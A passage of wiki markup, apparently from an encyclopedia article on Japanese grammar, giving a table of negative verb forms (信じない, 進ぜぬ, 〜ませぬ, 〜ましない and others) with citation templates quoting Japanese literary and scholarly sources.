226|script-title=ja:荻江夫人|last=Sudō|first=Nansui|publisher=Higuchi Ryū Bunkan|date=23 January 1919|location=[[Minami-ku, Sakai|Minami]], Osaka}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
|{{#invoke:nihongo|nihongo_krt|not guess|察せん|sassen}}<br>{{#invoke:nihongo|nihongo_krt||察せぬ|sassenu}}<br>{{#invoke:nihongo|nihongo_krt||察せず|sassezu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|believe|信ずる|shinzuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not believe|信じない|shinjinai}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:まだ何かが可能であるかぎり,人は信じない。不可能に応えるのはただひとつ信ずることによってだけである。|page=80|url=https://tiu-tijc.repo.nii.ac.jp/?action=repository_uri&item_id=312&file_id=21&file_no=1|first=Keizō|last=Suzaki|script-title=ja:マルティーン・ヴァルザー『わが彼岸』 ─ 憧憬の三部作─(その1)|script-journal=ja:研究紀要|number=20|year=2014}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||信じぬ|shinjinu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:信ずる者もあり、信じぬ者もありだが、お前たちの所業はみな同じだ。|page=19|url=https://tufs.repo.nii.ac.jp/record/161/files/14-26.pdf|last=Ōmori|first=Masako|script-title=ja:ミハイル・ブルガーコフの「まち」 ―作家の原点としてのキエフ―|script-journal=ja:国際シンポジウム「⽂化の汽⽔域〜東スラヴ世界の⽂化的諸相をめぐって〜」報告集|publisher=Tokyo University of Foreign Studies|year=2017}}</ref><ref name=ishii-2021>{{#invoke:cite|book|lang=ja|script-quote=ja:キャプテン だからこそだまって<ruby>信<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ずることも<ruby>必<rp>(</rp><rt>ひつ</rt><rp>)</rp></ruby><ruby>要<rp>(</rp><rt>よう</rt><rp>)</rp></ruby>じゃないのか⁉<br>……⁉<br><ruby>男<rp>(</rp><rt>おとこ</rt><rp>)</rp></ruby>を<ruby>信<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>じぬものは<ruby>男<rp>(</rp><rt>おとこ</rt><rp>)</rp></ruby>になれん‼<br><ruby>男<rp>(</rp><rt>おとこ</rt><rp>)</rp></ruby>に……<br>そうだ <ruby>男<rp>(</rp><rt>おとこ</rt><rp>)</rp></ruby>だ‼あの<ruby>風<rp>(</rp><rt>かざ</rt><rp>)</rp></ruby><ruby>巻<rp>(</rp><rt>まき</rt><rp>)</rp></ruby>を<ruby>男<rp>(</rp><rt>おとこ</rt><rp>)</rp></ruby>と<ruby>認<rp>(</rp><rt>みと</rt><rp>)</rp></ruby>めるのなら……ここはだまって<ruby>信<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>じようじゃないか‼|script-chapter=ja:<ruby>涙<rp>(</rp><rt>なみだ</rt><rp>)</rp></ruby>にさく<ruby>花<rp>(</rp><rt>はな</rt><rp>)</rp></ruby>|script-title=ja:くたばれ‼涙くん|authorlink=Isami Ishii|last=Ishii|first=Isami|publisher=Goma Books|date=6 August 2021}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じず|shinjizu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それは連合国側の大げさなプロパガンダと言い、お前たちの事は信じずに、すべてを否定する我々を信ずるだろう。|title=I sommersi e i salvati|script-title=ja:溺れるものと救われるもの|date=7 November 2019|page=304|publisher=Asahi Shimbun Publications|first=Primo Michele|last=Levi|authorlink=Primo Levi|translator-first=Hirohide|translator-last=Takeyama}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not believe|信ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||信ぜぬ|shinzenu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:私共は前にも記した通り、宗教を信ずる人も信ぜぬ人もまた仏教信者もキリスト教信者も、共に神によって兄弟姉妹であることを信ずるものであります。|page=43|url=https://www.jstage.jst.go.jp/article/jiyu/5/1/5_36/_article/-char/ja/|last=Murakami|first=Tami|script-title=ja:自由学園草創期におけるキリスト教と「自由」問題(2)羽仁もと子、吉一の出版事業とキリスト教との関わり|title=Christianity and Freedom of Jiyu Gakuen in 1921‒1930s(2)Motoko and Yoshikazu Hani: Their Publishing Business and Christianity|script-journal=ja:生活大学研究|volume=5|number=1|year=2020 |doi=10.19019/jiyu.5.1_36 }}</ref><br>{{#invoke:nihongo|nihongo_krt||信ぜず|shinzezu}}<ref name=hori-2009 /><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:ポリスが信ずる神々を信ぜず、別の新奇な神霊のようなものを信ずるがゆえに。[…] 第二の罪状は「ポリスが信ずる神々を信ぜず、別の新奇な神霊のようなもの daimonia を信ずるがゆえに」というものである。|pp=22, 24|url=https://kokushikan.repo.nii.ac.jp/record/14786/files/2187_6525_051_02.pdf|last=Notsu|first=Yasushi|script-title=ja:プラトン著『ソクラテスの弁明』考 -弁明の姿をした勧告の書-|title=On Plato's Apology of Socrates: a defensive and exhortatory speech|script-journal=ja:国士舘人文学|journal=Kokushikan journal of the humanities|volume=9|publisher=Kokushikan University Library and Information Commons|date=15 March 2019}}</ref>
|-
|{{#invoke:nihongo|nihongo_krt|give|進ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''<br>{{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not give|進じない|shinjinai}}<br>{{#invoke:nihongo|nihongo_krt||進ぜない|shinzenai}}<br>{{#invoke:nihongo|nihongo_krt||進ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||進じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||進ぜぬ|shinzenu}}<ref name=wada-1921>{{#invoke:cite|book|lang=ja|script-quote=ja:いつも定まつて十疋の布施物と進ずるが、それを進ぜぬによつて、それ故再々小戾りを召さるゝものであらう。|page=98|script-chapter=ja:<ruby>布<rp>(</rp><rt>ふ</rt><rp>)</rp></ruby><ruby>施<rp>(</rp><rt>せ</rt><rp>)</rp></ruby><ruby>無<rp>(</rp><rt>ない</rt><rp>)</rp></ruby><ruby>經<rp>(</rp><rt>きやう</rt><rp>)</rp></ruby>|url=https://dl.ndl.go.jp/pid/1187442/1/59|script-title=ja:校註 狂言選集|first=Mankichi|last=Wada|location=[[Hongō, Tokyo]]|publisher=Meiji Shoin|date=5 October 1930}}</ref><br>{{#invoke:nihongo|nihongo_krt||進じぬ|shinjinu}}<br>{{#invoke:nihongo|nihongo_krt||進ぜず|shinzezu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:進ぜずば御機嫌がわるうござらう。又數の定まつた物でござるに依つて、進ずる事は成りませぬ。[…]主人「夫婦へ進じたらば公達に進ずるに及ぶまい物を。[…]何と進ぜずに置かるゝものでござるぞ。|pp=24–25|url=https://dl.ndl.go.jp/pid/942796/1/19|script-chapter=ja:栗燒|script-title=ja:謠曲狂言|date=10 December 1921|first=Harunori|last=Hirabayashi|publisher={{#invoke:lang|lang|ja|中興館}}|location=[[Kanda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||進じず|shinjizu}}
|-
| {{#invoke:nihongo|nihongo_krt|come|来る|kuru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|こ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not come|来ない|konai}}<br>{{#invoke:nihongo|nihongo_krt||来ん|kon}}<br>{{#invoke:nihongo|nihongo_krt||来ぬ|konu}}<br>{{#invoke:nihongo|nihongo_krt||来ず|kozu}}
|-
! colspan=5 style=text-align:left | Verbal auxiliaries
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt||〜ます(る)|‑masu(ru)}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|ま}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|(る)}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|ま}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not|〜ません|‑masen}}<br>{{#invoke:nihongo|nihongo_krt||〜ませぬ|‑masenu}}<ref name=wada-1921 /><ref name=miyake-1970>{{#invoke:cite|journal|lang=ja|url=https://dl.ndl.go.jp/pid/3359249/1/38|script-quote=ja:ポンペは終始江戸へ参りませんでしたから、あの時分私は横浜に居つたので一向知りませぬ、私の先生と云ふは前に申した米国海軍々医でアレキサンドル・エ・ウエツドルと申す横浜居留地内の開業医でありましたが英仏独三ケ国語に通じて居りましたので居留民に信用せられ流行しました。[…]それから別に私共では版にしませぬでしたけれども全躰新論(解剖生理)もある。|p=217–218|script-title=ja:資料二 三宅秀回顧談|last=Miyake|first=Hiizu|journal=Journal of the Japanese Society of Medical History|script-journal=ja:日本醫史學雜誌|volume=16|number=3|date=30 September 1970|publisher=Japanese Society of Medical History|location=[[Bunkyō]], Tokyo}}</ref><ref name=yumeno-1935-masenu>{{#invoke:cite|book|lang=ja|script-quote=ja:「さよう。こう申しますと、わざわざ<ruby>奇<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>矯<rp>(</rp><rt>きよう</rt><rp>)</rp></ruby>な言い廻しをいたしているように思われるかもしれませぬが、けっしてそのような訳ではございませぬ。[…]たとい過去の御記憶を思い出されませずとも、これからわたしが提供いたします事実によって、[…]わたしの申しますことが、けっして誇張でありませぬ事実を、御首肯できることと信じます。[…]トテモわたしどもの思い及ぶところではございませんでした。[…]ただ今のように外国の書物が自由自在に得られませぬために、あらゆる苦心をいたしましたものです。[…]けっして無意義な道楽ではありませんでした。[…]斎藤寿八先生と申しても過言ではございませんでした。[…]九大に精神病科なぞいう分科もありませず、斎藤先生は学内で、[…]先生の愚痴を注射したくらいではナカナカ<ruby>癒<rp>(</rp><rt>なお</rt><rp>)</rp></ruby>りませんよ。|pp=103, 105–107|script-title=ja:ドグラ・マグラ|trans-title=[[Dogra Magra]]|authorlink=Yumeno Kyūsaku|last=Yumeno|first=Kyūsaku|url=https://www.aozora.gr.jp/cards/000096/files/2093_28841.html|orig-date=January 1935|publisher=Shakai Shisōsha|date=30 November 1976|edition=2nd|series={{#invoke:lang|lang|ja|夢野久作傑作}}|volume=Ⅳ|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:無人の荒野を進撃したところで,そこには食糧もない,馬糧もみつかりません。ましてや冬が到来すると零下30度の喚起に将兵が耐えられるとは思いませぬ。|page=21|url=https://dl.ndl.go.jp/pid/2364000/1/12|script-title=ja:沖縄を包む空間|last=Furukata|first=Tetsu|script-journal=ja:電気協会雑誌|journal=Journal of the Japan Electric Association|issn=0387-0758|date=January 1982|number=699|publisher=Japan Electric Association}}</ref><ref name=ikeda-2014>{{#invoke:cite|book|lang=ja|script-quote=ja:彼の説によると、社会の一員たる者はひとりびとりが互いに監視し合って、密告する義務を負うている。[…]もしあなたが心のなかで、《自分は自分の行為に対して責任を負うているのか、負うていないのか》という質問だけでも発することができれば、すなわちそれであなたはすでに必ず責任を負うておられる。[…]「法律的にはあなたはほとんど傷を負うてはおられませぬ。[…]」[…]偉大なヨーロッパの哲学者も、偉大な学者も、発明家も、勤労者も、殉教者も、――これらの勤労を愛し重荷を負うた人々はことごとく、わがロシアの偉大な天才にとっては、彼の家の台所にいる料理人となんら変わりはないのである。|script-title=ja:悪霊|trans-title=[[Demons (Dostoevsky novel)|Demons]]|title=Бесы|volume=2|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|authorlink=Fyodor Dostoevsky|first=Fyodor Mikhailovich|last=Dostoevsky|translator-first=Kentarō|translator-last=Ikeda|date=4 July 2014}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:目がつぶれるようなことは決してありませぬ。[…]余計なことを言う必要はございません。[…]社長と同じ心ではございませぬ。[…]元の通りにとは言いませんが、[…]何の心配もございませぬ。|pp=10, 14, 19|url=https://komazawa-u.repo.nii.ac.jp/record/2012008/files/00018580.pdf|last=Satō|first=Noriaki|script-title=ja:新潟市の女性シャーマンとその依頼者について|script-journal=ja:駒沢大学文化|number=34|year=2016}}</ref><br>{{#invoke:nihongo|nihongo_krt||〜ませず|‑masezu}}<ref name=yumeno-1935-masenu /><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:ところで,じつは日本はべつにお話しの材料もございませず,イチョウの標本などでもお目にかけたらとは思いましたが,[…]|page=110|script-title=ja:平瀬作五郎伝(Ⅳ)|title=A biography of Sakugorô HIRASE(Ⅳ)|location=[[Hitotsubashi, Chiyoda|Hitotsubashi]], [[Chiyoda, Tokyo]]|last=Ono|first=Isamu|script-journal=ja:生物科学|volume=36|number=2|date=May 1984|publisher=Japanese Society of Biological Scientists|editor=Japanese Society of Biological Scientists|url=https://dl.ndl.go.jp/pid/11201475/1/29}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:つまり、マンジュシュリーよ、一切法は空たるもの(ston pa nyid)として赴くものよりも過ぎ去らず、空性そのものは悪趣に赴くこともございませず天に赴くこともございませず涅槃に赴くこともございません。|page=118|url=https://komazawa-u.repo.nii.ac.jp/record/2020049/files/00649442.pdf|first=Noriaki|last=Hakamaya|script-title=ja:仏教の「学習」の意味|script-journal=ja:駒澤大學禪研究所年報|number=34|year=2022}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|ま}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not|〜ましない|‑mashinai}}{{efn|<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:農は そりや、はい、<ruby>辨<rp>(</rp><rt>べん</rt><rp>)</rp></ruby><ruby>當<rp>(</rp><rt>たう</rt><rp>)</rp></ruby>の<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>ではごぜえましない。<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby>の<ruby>建<rp>(</rp><rt>たて</rt><rp>)</rp></ruby><ruby>札<rp>(</rp><rt>ふだ</rt><rp>)</rp></ruby>の<ruby>理<rp>(</rp><rt>り</rt><rp>)</rp></ruby><ruby>窟<rp>(</rp><rt>くつ</rt><rp>)</rp></ruby>でごぜえまして、なあ、おい、<ruby>山<rp>(</rp><rt>やま</rt><rp>)</rp></ruby>さ<ruby>上<rp>(</rp><rt>のぼ</rt><rp>)</rp></ruby>ちやなんねえは<ruby>分<rp>(</rp><rt>わか</rt><rp>)</rp></ruby>つただけんど、その、はい、おかずものは<ruby>何<rp>(</rp><rt>なん</rt><rp>)</rp></ruby>とやらは、どうしたことでごぜえやすかね。|p=191|url=https://dl.ndl.go.jp/pid/1682832/1/100|script-chapter=ja:愛火|script-title=ja:鏡花全集|volume=25|orig-date=December 1906|date=31 August 1942|authorlink=Kyōka Izumi|first=Kyōtarō|last=Izumi|publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「なすつて<ruby>御<rp>(</rp><rt>ご</rt><rp>)</rp></ruby><ruby>覽<rp>(</rp><rt>らん</rt><rp>)</rp></ruby>なさいまし。<ruby>貴下<rp>(</rp><rt>あなた</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby><ruby>方<rp>(</rp><rt>がた</rt><rp>)</rp></ruby>は<ruby>體<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>育<rp>(</rp><rt>ゝく</rt><rp>)</rp></ruby><ruby>上<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby>、いろ〱<ruby>御<rp>(</rp><rt>ご</rt><rp>)</rp></ruby><ruby>經<rp>(</rp><rt>けい</rt><rp>)</rp></ruby><ruby>驗<rp>(</rp><rt>けん</rt><rp>)</rp></ruby>も<ruby>積<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>んで<ruby>居<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby>らつしやいませうから、<ruby>何<rp>(</rp><rt>なん</rt><rp>)</rp></ruby>の<ruby>分<rp>(</rp><rt>わけ</rt><rp>)</rp></ruby>もありましない。<ruby>氷滑法<rp>(</rp><rt>スケエチング</rt><rp>)</rp></ruby>の<ruby>呼<rp>(</rp><rt>こ</rt><rp>)</rp></ruby><ruby>吸<rp>(</rp><rt>きふ</rt><rp>)</rp></ruby>は<ruby>直<rp>(</rp><rt>す</rt><rp>)</rp></ruby>ぐにお<ruby>呑<rp>(</rp><rt>のみ</rt><rp>)</rp></ruby><ruby>込<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>めになるに、<ruby>相<rp>(</rp><rt>さう</rt><rp>)</rp></ruby><ruby>達<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby><sup>[''[[sic]]'']</sup>はございませんよ。」|p=6|url=https://dl.ndl.go.jp/pid/911666/1/10|script-title=ja:女優|script-chapter=ja:(二)|date=19 November 1913|first=Kayō|last=Yamagishi|publisher=Shunyodo|location=[[Nihonbashi]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>素<rp>(</rp><rt>もと</rt><rp>)</rp></ruby>より<ruby>校<rp>(</rp><rt>かう</rt><rp>)</rp></ruby><ruby>長<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby>がお<ruby>菊<rp>(</rp><rt>きく</rt><rp>)</rp></ruby>の<ruby>入<rp>(</rp><rt>にふ</rt><rp>)</rp></ruby><ruby>學<rp>(</rp><rt>がく</rt><rp>)</rp></ruby>を<ruby>許<rp>(</rp><rt>ゆる</rt><rp>)</rp></ruby>す<ruby>當<rp>(</rp><rt>たう</rt><rp>)</rp></ruby><ruby>時<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>兄<rp>(</rp><rt>あに</rt><rp>)</rp></ruby>の<ruby>淸<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>太<rp>(</rp><rt>た</rt><rp>)</rp></ruby><ruby>郞<rp>(</rp><rt>らう</rt><rp>)</rp></ruby>から<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>の<ruby>槪畧<rp>(</rp><rt>あらまし</rt><rp>)</rp></ruby>を<ruby>聞<rp>(</rp><rt>き</rt><rp>)</rp></ruby>いてゐるから、<ruby>左<rp>(</rp><rt>さ</rt><rp>)</rp></ruby><ruby>程<rp>(</rp><rt>ほど</rt><rp>)</rp></ruby>に<ruby>疑<rp>(</rp><rt>うたが</rt><rp>)</rp></ruby>ひましなかつた、|p=507|script-chapter=ja:<ruby>惡<rp>(</rp><rt>あく</rt><rp>)</rp></ruby><ruby>計<rp>(</rp><rt>けい</rt><rp>)</rp></ruby>|url=https://dl.ndl.go.jp/pid/910764/1/259|script-title=ja:おぼろ夜の頃|first=Koshū|last=Kojima|date=20 May 1914|publisher={{#invoke:lang|lang|ja|春江堂書店}}|location=[[Nihonbashi]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『<ruby>否<rp>(</rp><rt>いえ</rt><rp>)</rp></ruby>ね、<ruby>私<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>は<ruby>要<rp>(</rp><rt>い</rt><rp>)</rp></ruby>りましない。[…]』<br>[…]<br>『あの<ruby>娘<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>はもうここには<ruby>居<rp>(</rp><rt>を</rt><rp>)</rp></ruby>りましない。』<br>[…]<br>『<ruby>行<rp>(</rp><rt>ゆく</rt><rp>)</rp></ruby><ruby>先<rp>(</rp><rt>さき</rt><rp>)</rp></ruby>は<ruby>敎<rp>(</rp><rt>をし</rt><rp>)</rp></ruby>へ<ruby>申<rp>(</rp><rt>まを</rt><rp>)</rp></ruby>すわけにゆきましない、ヒエエ。』<br>[…]<br>『<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>りましないね。…』|pp=186, 203–204, 261|url=https://dl.ndl.go.jp/pid/911387/1/107|script-title=ja:地底の寶玉|date=10 September 1915|last=Mitsugi|first=Shun'ei|editor-last=Mitsugi|editor-first=Teiko|publisher=Jitsugyo no Nihon Sha|location=[[Kyōbashi, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「<ruby>阿<rp>(</rp><rt>あ</rt><rp>)</rp></ruby><ruby>條<rp>(</rp><rt>でう</rt><rp>)</rp></ruby>とも、<ruby>何<rp>(</rp><rt>か</rt><rp>)</rp></ruby><ruby>條<rp>(</rp><rt>でう</rt><rp>)</rp></ruby>とも、はい、<ruby>申<rp>(</rp><rt>まをし</rt><rp>)</rp></ruby><ruby>譯<rp>(</rp><rt>わけ</rt><rp>)</rp></ruby>がござんましない。」|p=177|url=https://dl.ndl.go.jp/pid/1682836/1/93|script-chapter=ja:由緣の女|script-title=ja:鏡花全集|volume=19|date=15 February 1942|orig-date=January 1919|authorlink=Kyōka Izumi|first=Kyōtarō|last=Izumi|publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「あれ、<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>が<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby>ますもんで。……<ruby>湯<rp>(</rp><rt>ゆ</rt><rp>)</rp></ruby>のほかさ、<ruby>水<rp>(</rp><rt>みづ</rt><rp>)</rp></ruby>だつて<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby>ましないだよ。」<br>[…]<br>「<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>、<ruby>貴女<rp>(</rp><rt>あなた</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby>、<ruby>柔<rp>(</rp><rt>やはら</rt><rp>)</rp></ruby>かうて、<ruby>滑<rp>(</rp><rt>なめ</rt><rp>)</rp></ruby>らつこくて、<ruby>何<rp>(</rp><rt>ど</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>にも、はい、<ruby>力<rp>(</rp><rt>ちから</rt><rp>)</rp></ruby>の<ruby>入<rp>(</rp><rt>い</rt><rp>)</rp></ruby>れ<ruby>處<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>がござりましねえ。<ruby>眞<rp>(</rp><rt>ま</rt><rp>)</rp></ruby><ruby>綿<rp>(</rp><rt>わた</rt><rp>)</rp></ruby>のやうだで、はい、<ruby>私<rp>(</rp><rt>わし</rt><rp>)</rp></ruby><ruby>等<rp>(</rp><rt>ら</rt><rp>)</rp></ruby>がやうな<ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>では、<ruby>引<rp>(</rp><rt>ひツ</rt><rp>)</rp></ruby>ついて<ruby>搦<rp>(</rp><rt>から</rt><rp>)</rp></ruby>まるで、<ruby>眞<rp>(</rp><rt>ま</rt><rp>)</rp></ruby><ruby>綿<rp>(</rp><rt>わた</rt><rp>)</rp></ruby>の<ruby>方<rp>(</rp><rt>はう</rt><rp>)</rp></ruby>が、どねえに<ruby>扱<rp>(</rp><rt>あつか</rt><rp>)</rp></ruby>ひにくいだか<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>れねえだ。<ruby>肩<rp>(</rp><rt>かた</rt><rp>)</rp></ruby>を<ruby>敲<rp>(</rp><rt>たゝ</rt><rp>)</rp></ruby>きますぐれえ、<ruby>何<rp>(</rp><rt>なん</rt><rp>)</rp></ruby>でも、はあ、ござりましない。まあ、<ruby>眞<rp>(</rp><rt>まつ</rt><rp>)</rp></ruby><ruby>白<rp>(</rp><rt>しろ</rt><rp>)</rp></ruby>で、<ruby>指<rp>(</rp><rt>ゆび</rt><rp>)</rp></ruby>で<ruby>白粉<rp>(</rp><rt>おしろい</rt><rp>)</rp></ruby>を<ruby>解<rp>(</rp><rt>と</rt><rp>)</rp></ruby>くやうだあね。」<br>[…]<br>「ほれ、<ruby>寒<rp>(</rp><rt>さむ</rt><rp>)</rp></ruby><ruby>氣<rp>(</rp><rt>け</rt><rp>)</rp></ruby>がなせえますだ。<ruby>一<rp>(</rp><rt>いつ</rt><rp>)</rp></ruby><ruby>浴<rp>(</rp><rt>ぱい</rt><rp>)</rp></ruby><ruby>浸<rp>(</rp><rt>つか</rt><rp>)</rp></ruby>らつしやりましねえか、かぜを<ruby>引<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby>いては<ruby>成<rp>(</rp><rt>な</rt><rp>)</rp></ruby>りましない。」|url=https://dl.ndl.go.jp/pid/1682835/1/264|pp=519–520, 528|script-chapter=ja:毘首羯摩|orig-date=January 1921|date=20 May 1941|script-title=ja:鏡花全集|volume=20|authorlink=Kyōka Izumi|first=Kyōtarō|last=Izumi|publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「<ruby>旦<rp>(</rp><rt>だん</rt><rp>)</rp></ruby><ruby>那<rp>(</rp><rt>な</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby>のお<ruby>顏<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby>までがちら〱としましてな、ふはツと<ruby>成<rp>(</rp><rt>な</rt><rp>)</rp></ruby>つて、<ruby>取<rp>(</rp><rt>とツ</rt><rp>)</rp></ruby><ruby>着<rp>(</rp><rt>つく</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>ところ</rt><rp>)</rp></ruby>がござりましねえ。<ruby>名<rp>(</rp><rt>な</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>どころ</rt><rp>)</rp></ruby>も<ruby>氏<rp>(</rp><rt>うぢ</rt><rp>)</rp></ruby><ruby>素<rp>(</rp><rt>す</rt><rp>)</rp></ruby><ruby>性<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby>も<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>れましない<ruby>小<rp>(</rp><rt>ちひ</rt><rp>)</rp></ruby>ぽけな<ruby>女<rp>(</rp><rt>あま</rt><rp>)</rp></ruby>つ<ruby>兒<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>に、<ruby>大<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>枚<rp>(</rp><rt>まい</rt><rp>)</rp></ruby>でござりますで、<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby><ruby>分<rp>(</rp><rt>ぶん</rt><rp>)</rp></ruby><ruby>大<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>枚<rp>(</rp><rt>まい</rt><rp>)</rp></ruby>でござりますでな。」|pp=407, 413|url=https://dl.ndl.go.jp/pid/1682834/1/208|script-chapter=ja:龍膽と撫子|date=30 September 1941|orig-date=January 1922|script-title=ja:鏡花全集|volume=21|authorlink=Kyōka Izumi|first=Kyōtarō|last=Izumi|publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><ref name=wada-1923>{{#invoke:cite|book|lang=ja|script-quote=ja:――あゝ! 村長樣、あなたがお助けになりましなかつたけれど、きつと神樣があいつ<ruby>奴<rp>(</rp><rt>め</rt><rp>)</rp></ruby>をお呼びになつてゐらしたんでございますよ。|quote=— Ah ! monsieur le maire, si vous ne l’avez pas sauvé, Dieu voulait sans doute le rappeler à lui.|trans-quote=― Ah! Mister Mayor, if you did not save him, no doubt God called him to Himself.|p=35|url=https://dl.ndl.go.jp/pid/977156/1/25|script-chapter=ja:第一章 國と人|chapter=I Le pays et l’homme|trans-chapter=Chapter 1: The Country and the 